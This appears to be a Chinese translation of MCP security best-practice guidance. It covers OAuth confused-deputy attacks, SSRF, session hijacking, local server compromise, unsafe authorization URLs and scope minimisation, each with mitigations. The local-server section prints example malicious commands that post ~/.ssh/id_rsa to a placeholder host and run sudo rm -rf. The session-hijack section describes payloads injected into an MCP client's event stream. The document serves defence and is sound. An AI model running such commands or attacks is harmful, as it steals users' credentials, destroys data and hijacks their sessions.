安全最佳实践

​

介绍

​

目的和范围

​

攻击与缓解措施

​

迷惑代理问题

​

术语

​

易受攻击的条件

• MCP 代理服务器在与第三方 授权服务器交互时使用 静态客户端 ID
• MCP 代理服务器允许 MCP 客户端动态注册（每个 客户端获得自己的 client_id）
• 第三方授权服务器在首次授权后设置 同意 cookie
• MCP 代理服务器在转发到第三方授权之前，没有实现正确的逐客户端同意

​

架构与攻击流程

正常的 OAuth 代理使用（保留用户同意）

恶意的 OAuth 代理使用（跳过用户同意）

​

攻击描述

1. 用户通过 MCP 代理服务器正常认证，以访问 第三方 API
2. 在此流程中，第三方授权服务器会在用户代理上设置一个 cookie， 指示其已同意该静态客户端 ID
3. 攻击者随后向用户发送一个恶意链接，其中包含一个 伪造的授权请求，该请求包含恶意重定向 URI 以及新的动态注册客户端 ID
4. 当用户点击该链接时，其浏览器仍然保留着 上一次合法请求留下的同意 cookie
5. 第三方授权服务器检测到该 cookie，并跳过 同意页面
6. MCP 授权码被重定向到攻击者的服务器 （在 动态客户端注册 中通过恶意 redirect_uri 参数指定）
7. 攻击者将窃取的授权码兑换为 MCP 服务器的访问令牌， 而无需用户明确批准
8. 攻击者现在可以以受损用户的身份访问第三方 API

​

缓解措施

同意流程实现

必需的防护措施

• 维护每个用户已批准 client_id 值的注册表
• 在启动第三方 授权流程之前检查此注册表
• 安全地存储同意决定（服务器端数据库，或服务器 特定 cookie）

• 清楚标识发起请求的 MCP 客户端名称
• 显示正在请求的具体第三方 API 范围
• 显示将接收令牌的已注册 redirect_uri
• 实现 CSRF 防护（例如 state 参数、CSRF 令牌）
• 通过 frame-ancestors CSP 指令或 X-Frame-Options: DENY 防止被 iframe 嵌入，以避免点击劫持

• 对 cookie 名称使用 __Host- 前缀
• 设置 Secure、HttpOnly 和 SameSite=Lax 属性
• 经过密码学签名，或使用服务器端会话
• 绑定到特定的 client_id（而不只是“用户已同意”）

• 验证授权请求中的 redirect_uri 与已注册 URI 完全 匹配
• 如果 redirect_uri 在未重新注册的情况下已更改，则拒绝请求
• 使用精确字符串匹配（而不是模式匹配或通配符）

• 为每个 授权请求生成一个密码学安全的随机 state 值
• 仅在同意已明确批准后， 将 state 值存储到服务器端（在安全会话存储或 加密 cookie 中）
• 在重定向到第三方身份提供方之前 立即设置 state 跟踪 cookie/会话（而不是在同意 批准之前）
• 在回调端点验证 state 查询参数 与回调请求 cookie 中或请求的基于 cookie 的会话中存储的值完全匹配
• 拒绝任何 state 参数缺失 或不匹配的回调请求
• 确保 state 值为单次使用（验证后删除）并且 具有较短的过期时间（例如 10 分钟）

​

Token 透传

​

风险

• 安全控制绕过
  • MCP 服务器或下游 API 可能会实现重要的安全控制，例如速率限制、请求校验或流量监控，而这些控制依赖于 token 的受众（audience）或其他凭证约束。如果客户端能够直接使用 token 与下游 API 通信，而 MCP 服务器未正确验证这些 token 或未确保它们是为正确的服务签发的，那么这些控制就会被绕过。
• 问责与审计追踪问题
  • 当客户端使用的是上游签发的访问 token，而该 token 对 MCP 服务器来说可能是不可读的，MCP 服务器将无法识别或区分不同的 MCP 客户端。
  • 下游资源服务器的日志中可能会显示请求似乎来自不同的来源、具有不同的身份，而不是实际转发这些 token 的 MCP 服务器。
  • 这两个因素都会使事件调查、控制和审计更加困难。
  • 如果 MCP 服务器在未验证其声明（例如角色、权限或受众）或其他元数据的情况下传递 token，那么持有被盗 token 的恶意行为者就可以将该服务器用作数据外泄的代理。
• 信任边界问题
  • 下游资源服务器会对特定实体授予信任。这种信任可能包括对来源或客户端行为模式的假设。破坏这一信任边界可能导致意外问题。
  • 如果一个 token 在未经适当验证的情况下被多个服务接受，那么攻击者在攻破某个服务后，就可以使用该 token 访问其他已连接的服务。
• 未来兼容性风险
  • 即使某个 MCP 服务器今天是“纯代理”，它将来仍可能需要添加安全控制。从一开始就正确地分离 token 受众，会让安全模型更容易演进。

​

缓解措施

​

服务端请求伪造（SSRF）

​

攻击描述

1. WWW-Authenticate 头中的 resource_metadata URL
2. Protected Resource Metadata 文档中的 authorization_servers URLs
3. Authorization Server Metadata 中的 token_endpoint、authorization_endpoint 以及其他 URLs

• 直接访问内部 IP：如 http://192.168.1.1/admin 或 http://10.0.0.1/api 这类 URL 目标是内部网络服务
• 云元数据端点：指向 http://169.254.169.254/（AWS/GCP/Azure 元数据服务）的 URL 可能会窃取云凭证和实例信息
• 本地主机服务：如 http://localhost:6379/ 这类 URL 可以与本地服务（Redis、数据库、管理面板）交互
• DNS 重绑定：在验证和使用之间 DNS 解析结果发生变化的域名（例如，https://attacker.com 最初解析到安全 IP，随后解析到 192.168.1.1）
• 重定向链：看起来正常的 URL 重定向到内部资源

​

风险

• 凭证泄露：云元数据端点通常会暴露 IAM 凭证、API 密钥和其他机密
• 内部网络侦察：错误信息会泄露有关内部网络拓扑和服务的信息
• 服务交互：POST 请求（例如发送到 token endpoint）可能会触发对内部服务的变更
• 防火墙绕过：MCP 客户端充当代理，绕过网络边界控制
• 数据泄露：内部服务响应可能通过错误信息或 OAuth 流程被反射回攻击者

​

缓解措施

• 拒绝 http:// URL，开发环境中的回环地址（localhost、127.0.0.1、::1）除外
• 这与 OAuth 2.1 第 1.5 节 保持一致，该节要求除回环重定向 URI 外，所有 OAuth 协议 URL 都必须使用 HTTPS
• 为开发/测试场景提供显式的退出机制

• 私有 IPv4 段：10.0.0.0/8、172.16.0.0/12、192.168.0.0/16
• 回环：127.0.0.0/8、::1（除非在开发中明确允许）
• 链路本地：169.254.0.0/16（包括云元数据端点）
• 私有 IPv6 段：fc00::/7、fe80::/10

• 不要盲目跟随重定向到内部资源
• 对重定向目的地应用 HTTPS 和 IP 段限制
• 考虑禁用自动重定向跟随，并验证每一跳

• 将 OAuth 发现请求通过代理路由，阻止访问内部目的地
• 使用如 Smokescreen 之类可从设计上防止 SSRF 的出站代理工具
• 配置网络策略以限制 MCP 客户端的外部访问

• 攻击者的域名在验证时可能解析到安全 IP，但在实际请求时解析到内部 IP
• 考虑在检查和使用之间锁定 DNS 解析结果
• 深度防御：将 DNS 检查与其他缓解措施结合使用

​

资源与工具

• OWASP SSRF Prevention Cheat Sheet： 关于 SSRF 防护技术的综合指南，包括输入验证、白名单策略和网络级控制
• OWASP Top 10 A10:2021 - SSRF： 最关键 Web 应用安全风险背景下的 SSRF

​

会话劫持

​

会话劫持提示注入

​

会话劫持冒充

​

攻击描述

1. 客户端连接到 Server A 并接收一个会话 ID。
2. 攻击者获取现有会话 ID，并使用该会话 ID 向 Server B 发送恶意事件。
   • 当服务器支持 重传/可恢复流时， 故意在接收响应之前终止请求，可能会导致原始客户端通过用于服务器发送事件的 GET 请求恢复该请求。
   • 如果某个服务器会因诸如 notifications/tools/list_changed 之类的工具调用而启动服务器发送事件，并且能够影响 服务器提供的工具，那么客户端最终可能会获得其并不知道已启用的工具。
3. Server B 将该事件（与会话 ID 关联）入队到共享队列中。
4. Server A 使用会话 ID 轮询队列获取事件，并检索到恶意载荷。
5. Server A 将恶意载荷作为异步或恢复的响应发送给客户端。
6. 客户端接收并根据恶意载荷执行操作，导致潜在的破坏。

1. MCP 客户端向 MCP 服务器进行认证，创建一个持久会话 ID。
2. 攻击者获取该会话 ID。
3. 攻击者使用该会话 ID 调用 MCP 服务器。
4. MCP 服务器不检查额外授权，并将攻击者视为合法用户，从而允许未授权访问或操作。

​

缓解措施

​

本地 MCP 服务器入侵

​

攻击描述

1. 攻击者在客户端配置中包含恶意的“启动”命令
2. 攻击者在服务器本身中分发恶意载荷
3. 攻击者通过 DNS 重绑定访问留在 localhost 上运行的不安全本地服务器

# 数据窃取
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

# 权限提升
sudo rm -rf /important/system/files && echo "MCP server installed!"

​

风险

• 任意代码执行。攻击者可以使用 MCP 客户端权限执行任何命令。
• 缺乏可见性。用户无法了解正在执行哪些命令。
• 命令混淆。恶意行为者可以使用复杂或晦涩的命令来伪装成合法行为。
• 数据窃取。攻击者可以通过被入侵的 JavaScript 访问合法的本地 MCP 服务器。
• 数据丢失。攻击者或合法服务器中的漏洞都可能导致主机上的数据不可恢复地丢失。

​

缓解措施

• 显示将要执行的确切命令，不得截断（包括参数和选项）
• 清楚地将其标识为会在用户系统上执行代码的潜在危险操作
• 在继续之前要求用户明确批准
• 允许用户取消配置

• 高亮显示潜在危险的命令模式（例如，包含 sudo、rm -rf、网络操作、访问预期目录之外文件系统的命令）
• 对访问敏感位置的命令显示警告（主目录、SSH 密钥、系统目录）
• 警告 MCP 服务器与客户端具有相同的权限运行
• 在沙箱化环境中以最小默认权限执行 MCP 服务器命令
• 以受限方式启动 MCP 服务器，限制其对文件系统、网络和其他系统资源的访问
• 为用户提供在需要时显式授予额外权限的机制（例如，特定目录访问、网络访问）
• 使用适合平台的沙箱技术（容器、chroot、应用沙箱等）
• 保持沙箱解决方案更新，以应对新出现的漏洞

• 使用 stdio 传输，仅将访问限制为 MCP 客户端
• 如果使用 HTTP 传输，则限制访问，例如：
  • 要求授权令牌
  • 使用 unix 域套接字或其他具有受限访问的进程间通信（IPC）机制

​

OAuth 授权 URL 验证

​

攻击描述

1. 恶意 MCP 服务器将 javascript: URL 作为授权端点提供
2. MCP 客户端将此 URL 直接传递给 window.open() 或类似的浏览器 API
3. 浏览器执行 URL 中嵌入的 JavaScript 代码
4. 攻击者在客户端应用程序内获得 JavaScript 执行上下文，可能导致会话劫持、凭据窃取或进一步利用

1. 恶意 MCP 服务器提供包含 Shell 命令注入载荷的 URL
2. MCP 客户端使用 Shell 命令（例如 cmd.exe、PowerShell 或 Shell 脚本）打开该 URL
3. Shell 将 URL 的部分内容解释为要执行的额外命令
4. 攻击者在用户系统上实现任意代码执行

​

风险

• 跨站脚本（XSS）。恶意 JavaScript 执行可能导致会话劫持、凭据窃取以及在客户端应用程序内执行未授权操作。
• 远程代码执行（RCE）。通过 Shell 执行的命令注入允许攻击者以用户权限运行任意代码。
• 权限提升。XSS 与 stdio 传输结合后，可将基于 Web 的攻击升级为对整个系统的完全控制。
• 数据外泄。攻击者可访问用户系统上存储的敏感数据、配置文件和凭据。
• 持久化。攻击者可安装恶意软件、创建后门或修改系统配置以获得持久访问。

​

缓解措施

• 必须 仅允许授权 URL 使用 http:// 和 https:// scheme。 http:// scheme 仅在本地开发期间对回环地址（如 localhost、127.0.0.1 或 ::1）可接受；生产环境中的授权 服务器 必须 使用 https://。
• 必须 拒绝 javascript:、data:、file:、vbscript: 以及其他可能危险的 scheme
• 应当 使用基于允许列表的验证，而不是基于阻止列表的方法

• 禁止 使用 Shell 命令（例如 cmd.exe、sh、PowerShell）打开 URL
• 应当 使用平台特定的、非 Shell 的 URL 打开机制

• 设置 script-src 'self' 以防止执行内联 JavaScript
• 使用 default-src 'self' 限制资源加载
• 对于需要内联脚本的动态内容，可考虑使用 script-src 'nonce-<random>'

• 实现严格的 URL 解析和验证
• 拒绝包含可能被 Shell 解释的特殊字符的 URL
• 考虑使用专门的 URL 净化库
• 记录可疑的授权 URL 以便进行安全监控

​

代理场景中的 stdio 传输安全性

​

攻击描述

1. 攻击者实现 XSS 或其他客户端代码执行（例如通过 OAuth URL 漏洞）
2. 恶意行为者利用上述攻击向量，从客户端环境中获取客户端与代理之间建立的 MCP 代理身份验证令牌
3. 恶意行为者向本地 MCP 代理服务发出经过身份验证的请求
4. 代理通过 stdio 传输执行任意命令（误以为这些命令是合法的 MCP 服务器命令）
5. 攻击者以用户权限实现远程代码执行

​

风险

• 权限升级。基于 Web 的漏洞（XSS）可通过代理命令执行升级为在主机系统上执行任意代码
• 身份验证绕过。被窃取的代理身份验证令牌允许未经授权的访问 stdio 进程启动功能
• 系统受控。攻击者可以执行 MCP 代理进程有权限运行的任何命令

​

缓解措施

• 实施 OAuth 授权 URL 验证 中所述的缓解措施
• 使用内容安全策略（CSP），防止从不受信任的来源执行 JavaScript
• 在处理来自 MCP 服务器的所有输入之前对其进行验证和清理

• 对启动的进程实施沙箱隔离或容器化
• 限制启动的 MCP 服务器对文件系统的访问
• 记录所有 stdio 传输的使用情况，以进行安全监控
• 对潜在危险命令要求额外的授权

• 尽可能在独立的安全上下文中隔离代理通信
• 对代理进程权限采用最小权限原则
• 对代理服务本身实施进程级沙箱隔离
• 考虑在容器或受限环境中运行代理

​

范围最小化

​

攻击描述

​

风险

• 爆炸半径扩大：被盗的广泛范围令牌可启用无关的工具/资源访问
• 撤销阻力更高：撤销最高权限令牌会中断所有工作流
• 审计噪声：单一的全能范围掩盖了用户对各项操作的意图
• 权限串联：攻击者无需进一步提升权限提示即可立即调用高风险工具
• 同意放弃：用户会拒绝列出过多范围的对话框
• 范围膨胀盲区：缺乏指标会使过宽的请求变得常态化

​

缓解措施

• 最小初始范围集（例如 mcp:tools-basic），仅包含低风险的发现/读取操作
• 当首次尝试特权操作时，通过定向的 WWW-Authenticate scope="..." 质询逐步提升权限
• 缩减范围容忍度：服务器应接受范围减少的令牌； 授权服务器 MAY 签发所请求范围的子集

• 发出精确的范围质询；避免返回完整目录
• 使用关联 ID 记录权限提升事件（请求的范围、授予的子集）

• 仅从基线范围开始（或使用初始 WWW-Authenticate 中指定的范围）
• 缓存近期失败结果，避免因被拒绝的范围而反复进入权限提升循环

​

常见错误

• 在 scopes_supported 中发布所有可能的范围
• 使用通配符或全能范围（*、all、full-access）
• 捆绑无关权限，以避免未来再次提示
• 在每次质询中返回完整的范围目录
• 未进行版本控制就静默更改范围语义
• 将令牌中声明的范围视为充分条件，而不执行服务器端授权逻辑